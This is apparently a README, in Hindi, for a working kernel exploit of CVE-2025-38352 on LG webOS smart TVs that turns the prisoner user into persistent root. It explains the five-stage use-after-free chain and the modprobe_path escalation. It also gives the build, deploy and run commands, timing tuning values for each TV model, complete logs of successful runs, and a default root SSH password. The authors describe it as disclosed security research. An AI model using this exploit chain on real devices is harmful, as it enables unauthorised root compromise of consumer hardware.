
CVE-2025-38352 LG webOS स्मार्ट टीवी (ARM64) के लिए कर्नेल शोषण। नवीन शोषण तकनीकों के साथ वास्तविक उपभोक्ता हार्डवेयर पर स्थायी रूट प्राप्त करता है। LG को जिम्मेदारी से खुलासा किया गया।
CVE-2025-38352 के लिए कर्नेल शोषण (POSIX CPU टाइमर रेस कंडीशन / उपयोग-के-बाद-मुक्त) जो LG webOS स्मार्ट टीवी पर ARM64 पर कर्नेल 5.4.268 चलाने वाले स्थायी रूट प्राप्त करता है। कई फर्मवेयर संस्करणों में 4 टीवी मॉडलों पर सत्यापित। LG के सुरक्षा शोधकर्ता कार्यक्रम (फरवरी 2026) को जिम्मेदारी से प्रकट किया गया।
farazsth98 द्वारा Chronomaly पर निर्मित। स्टेज 1 UAF रेस तर्क और क्रॉस-कैश बुनियादी ढांचा ARM64 के लिए पोर्ट और अनुकूलित किया गया; स्टेज 2–5 को नवीन शोषण तकनीकों और वास्तविक-हार्डवेयर बाधाओं के समाधानों के साथ पुन: डिज़ाइन किया गया जो अनुकरणित वातावरण में मौजूद नहीं हैं। क्लॉड ओपस 4.6 की सहायता से विकसित।
पूर्ण भेद्यता विश्लेषण, शोषण श्रृंखला वॉकथ्रू और अनुशंसित शमन उपायों के लिए VULNERABILITY_REPORT.md देखें।
prisoner उपयोगकर्ता (uid=5038) से स्थायी कर्नेल रूट (uid=0)यह शोषण जिम्मेदार सुरक्षा अनुसंधान के भाग के रूप में विकसित किया गया था और 7 फरवरी, 2026 को LG के सुरक्षा शोधकर्ता कार्यक्रम को रिपोर्ट किया गया। यह केवल शैक्षिक उद्देश्यों के लिए प्रकाशित किया गया है। जिम्मेदारी से उपयोग करें और केवल अपने स्वामित्व वाले उपकरणों पर। लेखक इस सॉफ्टवेयर के उपयोग से होने वाली किसी भी क्षति, ब्रिकिंग, डेटा हानि या वारंटी रद्द होने के लिए जिम्मेदार नहीं हैं। यह सॉफ्टवेयर बिना किसी वारंटी के "जैसा है" प्रदान किया गया है।
मूल का मनमाना घटाव धीमा और शोरगुल वाला है: यह फोर्क किए गए प्रक्रियाओं के माध्यम से 1,000 struct cred ऑब्जेक्ट स्प्रे करता है, फिर लक्ष्य cred के EUID फ़ील्ड को N बार घटाता है। प्रत्येक घटाव एक अलग ऑपरेशन है। यह QEMU में स्वीकार्य है जहाँ टाइमिंग क्षमाशील है, लेकिन वास्तविक हार्डवेयर पर अविश्वसनीय है जहाँ इंटरप्ट-चालित पृष्ठ पुनर्प्राप्ति ऑपरेशनों के बीच पाइप बफर पेज चुरा सकती है।
इसे list_del_init() के माध्यम से एकल मनमाना लेखन से बदल दिया गया। शोषण UAF'd sigqueue के list_head.next और list_head.prev पॉइंटर्स को पाइप बफर के माध्यम से ओवरराइट करता है। जब कर्नेल लंबित सिग्नल को डी-क्यू करता है (collect_signal() → list_del_init()), यह prev->next = next (नकली cred पता task_struct->cred में लिखता है) और next->prev = prev (नियंत्रित साइड-इफेक्ट लेखन) करता है। एक लेखन प्रक्रिया के cred पॉइंटर को एक नकली cred संरचना के पॉइंटर से बदल देता है जिसमें सभी-शून्य uid/gid फ़ील्ड होते हैं। कोई cred स्प्रे नहीं, कोई फोर्क की गई प्रक्रिया नहीं, नियतात्मक।
tee() के माध्यम से peek_pipe()मूल पूरे शोषण में पाइप बफर पर विनाशकारी read() कॉल का उपयोग करता है। QEMU में, यह ठीक काम करता है क्योंकि ऑपरेशनों के बीच पेज चोरी नहीं होते। 4 भौतिक कोर वाले वास्तविक हार्डवेयर पर, कर्नेल की प्रति-CPU पृष्ठ सूची (pcplist) आक्रामक रूप से मुक्त किए गए पृष्ठों को पुनः प्राप्त करती है। एक विनाशकारी रीड पाइप बफर के बैकिंग पृष्ठ को मुक्त कर देता है, जिसे शोषण के पुनः आवंटित करने से पहले एक हार्डवेयर इंटरप्ट द्वारा तुरंत चुराया जा सकता है।
समाधान tee() का उपयोग करके एक अविनाशी पाइप रीड प्रिमिटिव है। tee() syscall दो पाइपों के बीच पाइप डेटा को उपभोग किए बिना डुप्लिकेट करता है, मूल पाइप बफर के बैकिंग पृष्ठ को पिन किए रखता है। यह शोषण को क्रॉस-कैश किए गए पाइप बफर से कर्नेल डेटा को बार-बार पढ़ने की अनुमति देता है बिना पृष्ठ खोने के जोखिम के। यह वास्तविक हार्डवेयर पर विश्वसनीयता के लिए महत्वपूर्ण था।
मूल cred ऑब्जेक्ट स्प्रे करता है और एक अनुमानित स्थान पर उतरने की उम्मीद करता है। यह संस्करण ज्ञात पते पर नकली cred संरचना का निर्माण दूसरा क्रॉस-कैश करके करता है: एक नया sigqueue आवंटित करें (tkill(SIGRTMIN+1) के माध्यम से), इसका पता पहले पाइप बफर के हीप लीक से जानें, फिर उस sigqueue के स्लैब पृष्ठ को दूसरे पाइप बफर में क्रॉस-कैश करें। नकली cred दूसरे पाइप बफर में लीक किए गए sigqueue पते के सटीक पृष्ठ ऑफ़सेट पर लिखा जाता है। परिणाम एक नियतात्मक कर्नेल वर्चुअल पते पर एक नकली cred है जिसमें कोई अनुमान नहीं है।
मूल UAF sigqueue का पता लीक करने के लिए स्टेज 2 में जल्दी SIGUSR2 को डी-क्यू करता है। यह सिग्नल को उपभोग करता है, इसलिए मूल को अंतिम लेखन के लिए एक अलग तंत्र की आवश्यकता होती है। यह संस्करण कभी भी UAF sigqueue के अपने पते की आवश्यकता नहीं रखता (हीप लीक पाइप बफर में आसन्न sigqueue पॉइंटर्स से आता है)। SIGUSR2 को सभी पांच चरणों में लंबित रखा जाता है और इसके डी-क्यू को अंतिम मनमाना लेखन ट्रिगर के रूप में उपयोग किया जाता है। जिस सिग्नल ने UAF बनाया वही वह सिग्नल है जिसके डी-क्यू का इसका शोषण करता है।
modprobe_path + socket(44) एस्केलेशननकली cred संरचना में NULL user_ns, user, और group_info पॉइंटर्स हैं (क्योंकि पाइप बफर uid/gid फ़ील्ड से परे शून्य-आरंभिक है)। setresuid(), fork(), या exec() को कॉल करने से ये NULL पॉइंटर्स डीरेफ़रेंस हो जाएंगे और कर्नेल पैनिक हो जाएगा। मूल इससे बचता है क्योंकि इसका cred स्प्रे वास्तविक cred ऑब्जेक्ट्स का उपयोग करता है जिनमें मान्य पॉइंटर्स होते हैं।
समाधान: /proc/sys/kernel/modprobe को एक पेलोड स्क्रिप्ट (/tmp/pwn) को इंगित करने के लिए ओवरराइट करें, फिर socket(44, SOCK_STREAM, 0) के माध्यम से call_usermodehelper ट्रिगर करें (एक गैर-मौजूद प्रोटोकॉल परिवार का अनुरोध करते हुए)। कर्नेल modprobe हेल्पर को init_cred (कर्नेल के अपने रूट क्रेडेंशियल्स, पूरी तरह से मान्य) के साथ निष्पादित करता है, जो भ्रष्ट cred को पूरी तरह से बायपास करता है। पेलोड पूर्ण रूट के रूप में चलता है और मनमाना संचालन कर सकता है।
स्टेज 4 में महत्वपूर्ण विंडो (पाइप बफर में दुर्भावनापूर्ण पॉइंटर्स लिखना, फिर सिग्नल डी-क्यू ट्रिगर करना) हार्डवेयर इंटरप्ट के लिए पाइप बफर पृष्ठ को प्रति-CPU पृष्ठ सूची से चुराने के लिए कमजोर है। यह QEMU में नहीं होता है। वास्तविक हार्डवेयर पर, इस विंडो को SCHED_FIFO प्राथमिकता (जब उपलब्ध हो) और sched_yield() के साथ संरक्षित किया जाता है ताकि महत्वपूर्ण खंड में प्रवेश करने से पहले CPU पर लंबित कार्य पूरा हो सके, साथ ही लेखन और ट्रिगर के बीच के समय को कम करने के लिए पहले से तैयार बफर सामग्री। शोषण तब भी सुचारू रूप से विफल हो जाता है जब SCHED_FIFO अनुपलब्ध हो (जैसे webOS पर जहाँ prisoner उपयोगकर्ता के पास CAP_SYS_NICE नहीं है)।
task_struct ऑफ़सेट रिवर्स इंजीनियरिंगमनमाना लेखन task_struct->cred को लक्षित करता है, जिसके लिए task_struct->pending (जिसका पता पाइप बफर से लीक होता है) से task_struct->cred तक बाइट ऑफ़सेट जानना आवश्यक है। यह ऑफ़सेट कर्नेल-कॉन्फ़िगर-निर्भर है। 0x80 (128 बाइट) ऑफ़सेट की गणना LG webOS कर्नेल स्रोत से मैन्युअल रूप से की गई, जिसमें CONFIG_KEYS=y, CONFIG_SYSVIPC=y, और ARM64-विशिष्ट स्ट्रक्ट लेआउट और संरेखण को ध्यान में रखा गया। मूल में x86_64 ऑफ़सेट अलग है क्योंकि अलग स्ट्रक्ट पैकिंग और कॉन्फ़िगर विकल्प हैं।
सफलता पर, शोषण:
/proc/sys/kernel/modprobe को init के रूप में एक रूटिंग पेलोड चलाने के लिए ओवरराइट करता हैaarch64-linux-gnu-gcc)# macOS (थर्ड-पार्टी टैप आवश्यक)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu
शोषण चलाने से पहले डेव मोड के माध्यम से अपने टीवी पर होमब्रू चैनल ऐप स्थापित करें। इस तरह रूटिंग पेलोड को केवल इसे एलिवेट करने की आवश्यकता होगी (तेज़, विश्वसनीय) बजाय स्थापित + एलिवेट (धीमा, विफल हो सकता है)। आप ares-install या डेव मैनेजर ऐप का उपयोग करके इसे साइडलोड कर सकते हैं:
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk
यदि HBC पूर्व-स्थापित नहीं है, तो शोषण /tmp/hbchannel.ipk (जो deploy-webos.sh द्वारा तैनात किया गया है) से इसे स्थापित करने का प्रयास करेगा, लेकिन यह अतिरिक्त चरण जोड़ता है जो विफल हो सकते हैं।
# 1. अपने टीवी का IP और SSH कुंजी सेट करें
# आपके टीवी का IP सेटिंग्स > नेटवर्क > वाई-फाई > उन्नत सेटिंग्स में है
# SSH कुंजी LG डेवलपर मोड ऐप द्वारा उत्पन्न होती है — डेव मैनेजर या ares-setup-device द्वारा डाउनलोड की गई कुंजी देखें (आमतौर पर webos_rsa नाम की)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"
# 2. बिल्ड और तैनात (deploy-webos.sh स्वचालित रूप से बिल्ड को संभालता है)
./deploy-webos.sh
# 3. कनेक्ट करें और चलाएँ
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64
शोषण कमांड-लाइन तर्कों के रूप में टाइमिंग पैरामीटर स्वीकार करता है:
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]
यदि कोई तर्क प्रदान नहीं किया जाता है, तो संकलित डिफ़ॉल्ट का उपयोग किया जाता है (DELAY=31000, DELTA=50, THRESHOLD=3000)।
यदि DELAY प्रदान किया गया है लेकिन DELTA नहीं, तो DELTA स्वचालित रूप से DELAY / 600 के रूप में गणना की जाती है (निकटतम 5 तक गोल)।
शोषण आउटपुट देखें और DELAY समायोजित करें:
Parent raced too late → DELAY घटाएँ
Parent raced too early → DELAY बढ़ाएँ
जब दोनों संदेश दिखाई दें, तो टाइमिंग करीब है — चलते रहें और शोषण अंततः रेस विंडो को हिट करेगा। संकलित डिफ़ॉल्ट (31000) से शुरू करें और वहाँ से समायोजित करें।
/tmp/pwn समाप्त होने की प्रतीक्षा करेगा — यह अक्सर टाइम आउट होता है (यह सामान्य है)। यदि आवश्यक हो तो पेलोड पूरा हुआ या नहीं, मैन्युअल रूप से सत्यापित करने के लिए /tmp/pwn.log जाँचें।ssh root@<TV_IP>
# पासवर्ड: alpine
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] fake_cred_addr = 0xffffff804908c820
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Signal dequeued successfully!
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
[+] Preparing task pending list for heap leaks
[DEBUG] Pipe buffer page dump (non-zero qwords):
[DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
[DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr]
[+] Heap leaks:
- UAF sigqueue page offset 0x960
- Other sigqueue 0xffffff804dbee2d0
- Task pending list addr 0xffffff80485913f8
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] new_addr = 0xffffff804908c820 (page offset 0x820)
[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
[+] Freeing slab 3 page...
[+] Writing fake cred at page offset 0x820
[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
[+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] task_pending_list_addr = 0xffffff80485913f8
[+] cred_offset = 0x80 (128 bytes)
[+] task_cred_ptr_addr = 0xffffff8048591378
[+] fake_cred_addr = 0xffffff804908c820
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[-] SCHED_FIFO unavailable - proceeding anyway
[DEBUG] Verifying sigqueue fields in pipe buffer:
[DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK
[DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK
[DEBUG] flags = 1 (expected 1) OK
[DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
[+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
[DEBUG] poll() returned 1, revents=0x1
[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
[DEBUG] Key addresses for list_del_init:
[DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
[DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820
[DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8
[DEBUG] Expected writes:
[DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred)
[DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr)
[DEBUG] Verifying pipe buffers still valid...
[DEBUG] realloc_pipe read(0) = 0 (errno=1)
[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
[DEBUG] read() returned 128, errno=0 (Success)
[DEBUG] Blocking mode restored
[+] Signal dequeued successfully! (read 128 bytes)
[DEBUG] POST-DEQUEUE pipe buffer check:
[DEBUG] list.next = 0xffffff80417e9960
[DEBUG] list.prev = 0xffffff80417e9960
[DEBUG] Pointers changed by kernel (list_del_init applied to our page)
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Checking privileges...
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[+] Waiting for /tmp/pwn to finish...
[+] May take up to 5 minutes to finish.
मूल योगदान MIT-लाइसेंस प्राप्त हैं। Chronomaly से farazsth98 द्वारा प्राप्त भाग MIT अनुदान से बाहर रखे गए हैं क्योंकि अपस्ट्रीम प्रोजेक्ट बिना स्पष्ट लाइसेंस के प्रकाशित किया गया था। विवरण के लिए LICENSE देखें।
| चर | डिफ़ॉल्ट | विवरण |
|---|
WEBOS_IP | 192.168.1.100 | टीवी IP पता |
WEBOS_PORT | 9922 | SSH पोर्ट |
WEBOS_USER | prisoner | SSH उपयोगकर्ता |
WEBOS_KEY | $HOME/.ssh/webos_rsa | SSH कुंजी पथ |
| टीवी मॉडल | OTA ID | DELAY | DELTA | THRESHOLD |
|---|
| OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 |
| 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 |
| OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 |
| OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 |
| OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 |
| OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 |
| OLED48C3AUB | - | 31300 | 50 | 3000 |
| OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 |